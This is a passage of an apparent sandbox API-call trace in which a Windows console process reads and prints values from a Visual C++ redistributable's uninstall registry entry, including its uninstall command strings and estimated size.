[0149.553] GetConsoleOutputCP () returned 0x1b5 [0149.553] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="QuietUninstallString", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0149.554] GetConsoleOutputCP () returned 0x1b5 [0149.554] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="QuietUninstallString", cchWideChar=20, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuietUninstallString", lpUsedDefaultChar=0x0) returned 20 [0149.554] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 20 [0149.554] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.554] __iob_func () returned 0x7fefd702a80 [0149.554] _fileno (_File=0x7fefd702ab0) returned 1 [0149.554] _errno () returned 0x204bb0 [0149.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.554] _errno () returned 0x204bb0 [0149.554] GetFileType (hFile=0x50) returned 0x1 [0149.554] lstrlenW (lpString=" ") returned 4 [0149.554] GetConsoleOutputCP () returned 0x1b5 [0149.554] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.554] GetConsoleOutputCP () returned 0x1b5 [0149.554] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.554] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.554] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.554] __iob_func () returned 0x7fefd702a80 [0149.554] _fileno (_File=0x7fefd702ab0) returned 1 [0149.554] _errno () returned 0x204bb0 [0149.554] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.554] _errno () returned 0x204bb0 [0149.554] GetFileType (hFile=0x50) returned 0x1 [0149.554] lstrlenW (lpString="REG_SZ") returned 6 [0149.555] GetConsoleOutputCP () returned 0x1b5 [0149.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.555] GetConsoleOutputCP () returned 0x1b5 [0149.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.555] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.555] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.555] __iob_func () returned 0x7fefd702a80 [0149.555] _fileno (_File=0x7fefd702ab0) returned 1 [0149.555] _errno () returned 0x204bb0 [0149.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.555] _errno () returned 0x204bb0 [0149.555] GetFileType (hFile=0x50) returned 0x1 [0149.555] lstrlenW (lpString=" ") returned 4 [0149.555] GetConsoleOutputCP () returned 0x1b5 [0149.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.555] GetConsoleOutputCP () returned 0x1b5 [0149.555] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.555] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.555] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.555] __iob_func () returned 0x7fefd702a80 [0149.555] _fileno (_File=0x7fefd702ab0) returned 1 [0149.555] _errno () returned 0x204bb0 [0149.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.556] _errno () returned 0x204bb0 [0149.556] GetFileType (hFile=0x50) returned 0x1 [0149.556] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall /quiet") returned 104 [0149.556] GetConsoleOutputCP () returned 0x1b5 [0149.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall /quiet", cchWideChar=104, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 104 [0149.556] GetConsoleOutputCP () returned 0x1b5 [0149.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall /quiet", cchWideChar=104, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall /quiet", lpUsedDefaultChar=0x0) returned 104 [0149.556] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 104 [0149.556] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.556] __iob_func () returned 0x7fefd702a80 [0149.556] _fileno (_File=0x7fefd702ab0) returned 1 [0149.556] _errno () returned 0x204bb0 [0149.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.556] _errno () returned 0x204bb0 [0149.556] GetFileType (hFile=0x50) returned 0x1 [0149.556] lstrlenW (lpString="\n") returned 1 [0149.556] GetConsoleOutputCP () returned 0x1b5 [0149.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.556] GetConsoleOutputCP () returned 0x1b5 [0149.556] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.556] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.556] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.557] GetProcessHeap () returned 0x3c0000 [0149.557] GetProcessHeap () returned 0x3c0000 [0149.557] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.557] GetProcessHeap () returned 0x3c0000 [0149.557] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xd6 [0149.557] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.557] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.557] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0xc8) returned 0x0 [0149.557] GetProcessHeap () returned 0x3c0000 [0149.557] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xca) returned 0x3e1c70 [0149.557] GetProcessHeap () returned 0x3c0000 [0149.557] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.557] GetProcessHeap () returned 0x3c0000 [0149.557] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xca [0149.557] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3e1c70, pcbData=0x29f780*=0xc8 | out: pdwType=0x29f700*=0x1, pvData="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", pcbData=0x29f780*=0xc6) returned 0x0 [0149.557] __iob_func () returned 0x7fefd702a80 [0149.557] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.557] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.557] _fileno (_File=0x7fefd702ab0) returned 1 [0149.557] _errno () returned 0x204bb0 [0149.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.557] _errno () returned 0x204bb0 [0149.557] GetFileType (hFile=0x50) returned 0x1 [0149.557] lstrlenW (lpString=" ") returned 4 [0149.557] GetConsoleOutputCP () returned 0x1b5 [0149.557] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.557] GetConsoleOutputCP () returned 0x1b5 [0149.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.558] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.558] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.558] lstrlenW (lpString="UninstallString") returned 15 [0149.558] __iob_func () returned 0x7fefd702a80 [0149.558] _fileno (_File=0x7fefd702ab0) returned 1 [0149.558] _errno () returned 0x204bb0 [0149.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.558] _errno () returned 0x204bb0 [0149.558] GetFileType (hFile=0x50) returned 0x1 [0149.558] lstrlenW (lpString="UninstallString") returned 15 [0149.558] GetConsoleOutputCP () returned 0x1b5 [0149.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0149.558] GetConsoleOutputCP () returned 0x1b5 [0149.558] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0149.558] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0149.558] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.558] __iob_func () returned 0x7fefd702a80 [0149.558] _fileno (_File=0x7fefd702ab0) returned 1 [0149.558] _errno () returned 0x204bb0 [0149.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.558] _errno () returned 0x204bb0 [0149.558] GetFileType (hFile=0x50) returned 0x1 [0149.558] lstrlenW (lpString=" ") returned 4 [0149.558] GetConsoleOutputCP () returned 0x1b5 [0149.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.559] GetConsoleOutputCP () returned 0x1b5 [0149.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.559] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.559] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.559] __iob_func () returned 0x7fefd702a80 [0149.559] _fileno (_File=0x7fefd702ab0) returned 1 [0149.559] _errno () returned 0x204bb0 [0149.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.559] _errno () returned 0x204bb0 [0149.559] GetFileType (hFile=0x50) returned 0x1 [0149.559] lstrlenW (lpString="REG_SZ") returned 6 [0149.559] GetConsoleOutputCP () returned 0x1b5 [0149.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.559] GetConsoleOutputCP () returned 0x1b5 [0149.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.559] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.559] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.559] __iob_func () returned 0x7fefd702a80 [0149.559] _fileno (_File=0x7fefd702ab0) returned 1 [0149.559] _errno () returned 0x204bb0 [0149.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.559] _errno () returned 0x204bb0 [0149.560] GetFileType (hFile=0x50) returned 0x1 [0149.560] lstrlenW (lpString=" ") returned 4 [0149.560] GetConsoleOutputCP () returned 0x1b5 [0149.560] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.560] GetConsoleOutputCP () returned 0x1b5 [0149.560] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.560] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.560] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.560] __iob_func () returned 0x7fefd702a80 [0149.560] _fileno (_File=0x7fefd702ab0) returned 1 [0149.560] _errno () returned 0x204bb0 [0149.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.560] _errno () returned 0x204bb0 [0149.560] GetFileType (hFile=0x50) returned 0x1 [0149.560] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall") returned 98 [0149.560] GetConsoleOutputCP () returned 0x1b5 [0149.560] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", cchWideChar=98, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 98 [0149.560] GetConsoleOutputCP () returned 0x1b5 [0149.560] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", cchWideChar=98, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe\" /uninstall", lpUsedDefaultChar=0x0) returned 98 [0149.560] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 98 [0149.560] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.561] __iob_func () returned 0x7fefd702a80 [0149.561] _fileno (_File=0x7fefd702ab0) returned 1 [0149.561] _errno () returned 0x204bb0 [0149.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.561] _errno () returned 0x204bb0 [0149.561] GetFileType (hFile=0x50) returned 0x1 [0149.561] lstrlenW (lpString="\n") returned 1 [0149.561] GetConsoleOutputCP () returned 0x1b5 [0149.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.561] GetConsoleOutputCP () returned 0x1b5 [0149.561] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.561] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.561] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.561] GetProcessHeap () returned 0x3c0000 [0149.561] GetProcessHeap () returned 0x3c0000 [0149.561] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0149.561] GetProcessHeap () returned 0x3c0000 [0149.561] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xca [0149.561] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0149.561] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.561] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.561] GetProcessHeap () returned 0x3c0000 [0149.561] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.561] GetProcessHeap () returned 0x3c0000 [0149.561] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.561] GetProcessHeap () returned 0x3c0000 [0149.562] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.562] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x4588, pcbData=0x29f780*=0x4) returned 0x0 [0149.562] __iob_func () returned 0x7fefd702a80 [0149.562] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.562] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.562] _fileno (_File=0x7fefd702ab0) returned 1 [0149.562] _errno () returned 0x204bb0 [0149.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.562] _errno () returned 0x204bb0 [0149.562] GetFileType (hFile=0x50) returned 0x1 [0149.562] lstrlenW (lpString=" ") returned 4 [0149.562] GetConsoleOutputCP () returned 0x1b5 [0149.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.562] GetConsoleOutputCP () returned 0x1b5 [0149.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.562] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.562] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.562] lstrlenW (lpString="EstimatedSize") returned 13 [0149.562] __iob_func () returned 0x7fefd702a80 [0149.562] _fileno (_File=0x7fefd702ab0) returned 1 [0149.562] _errno () returned 0x204bb0 [0149.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.562] _errno () returned 0x204bb0 [0149.562] GetFileType (hFile=0x50) returned 0x1 [0149.562] lstrlenW (lpString="EstimatedSize") returned 13 [0149.562] GetConsoleOutputCP () returned 0x1b5 [0149.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0149.563] GetConsoleOutputCP () returned 0x1b5 [0149.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0149.563] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0149.563] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.563] __iob_func () returned 0x7fefd702a80 [0149.563] _fileno (_File=0x7fefd702ab0) returned 1 [0149.563] _errno () returned 0x204bb0 [0149.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.563] _errno () returned 0x204bb0 [0149.563] GetFileType (hFile=0x50) returned 0x1 [0149.563] lstrlenW (lpString=" ") returned 4 [0149.563] GetConsoleOutputCP () returned 0x1b5 [0149.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.563] GetConsoleOutputCP () returned 0x1b5 [0149.563] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.563] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.563] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.563] __iob_func () returned 0x7fefd702a80 [0149.563] _fileno (_File=0x7fefd702ab0) returned 1 [0149.563] _errno () returned 0x204bb0 [0149.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.563] _errno () returned 0x204bb0 [0149.563] GetFileType (hFile=0x50) returned 0x1 [0149.564] lstrlenW (lpString="REG_DWORD") returned 9 [0149.564] GetConsoleOutputCP () returned 0x1b5 [0149.564] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.564] GetConsoleOutputCP () returned 0x1b5 [0149.564] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.564] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.564] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.564] __iob_func () returned 0x7fefd702a80 [0149.564] _fileno (_File=0x7fefd702ab0) returned 1 [0149.564] _errno () returned 0x204bb0 [0149.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.564] _errno () returned 0x204bb0 [0149.564] GetFileType (hFile=0x50) returned 0x1 [0149.564] lstrlenW (lpString=" ") returned 4 [0149.564] GetConsoleOutputCP () returned 0x1b5 [0149.564] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.564] GetConsoleOutputCP () returned 0x1b5 [0149.564] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.564] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.564] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.565] __iob_func () returned 0x7fefd702a80 [0149.565] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.565] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x4588") returned 6 [0149.565] _fileno (_File=0x7fefd702ab0) returned 1 [0149.565] _errno () returned 0x204bb0 [0149.565] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.565] _errno () returned 0x204bb0 [0149.565] GetFileType (hFile=0x50) returned 0x1 [0149.565] lstrlenW (lpString="0x4588") returned 6 [0149.565] GetConsoleOutputCP () returned 0x1b5 [0149.565] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x4588", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.565] GetConsoleOutputCP () returned 0x1b5 [0149.565] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x4588", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 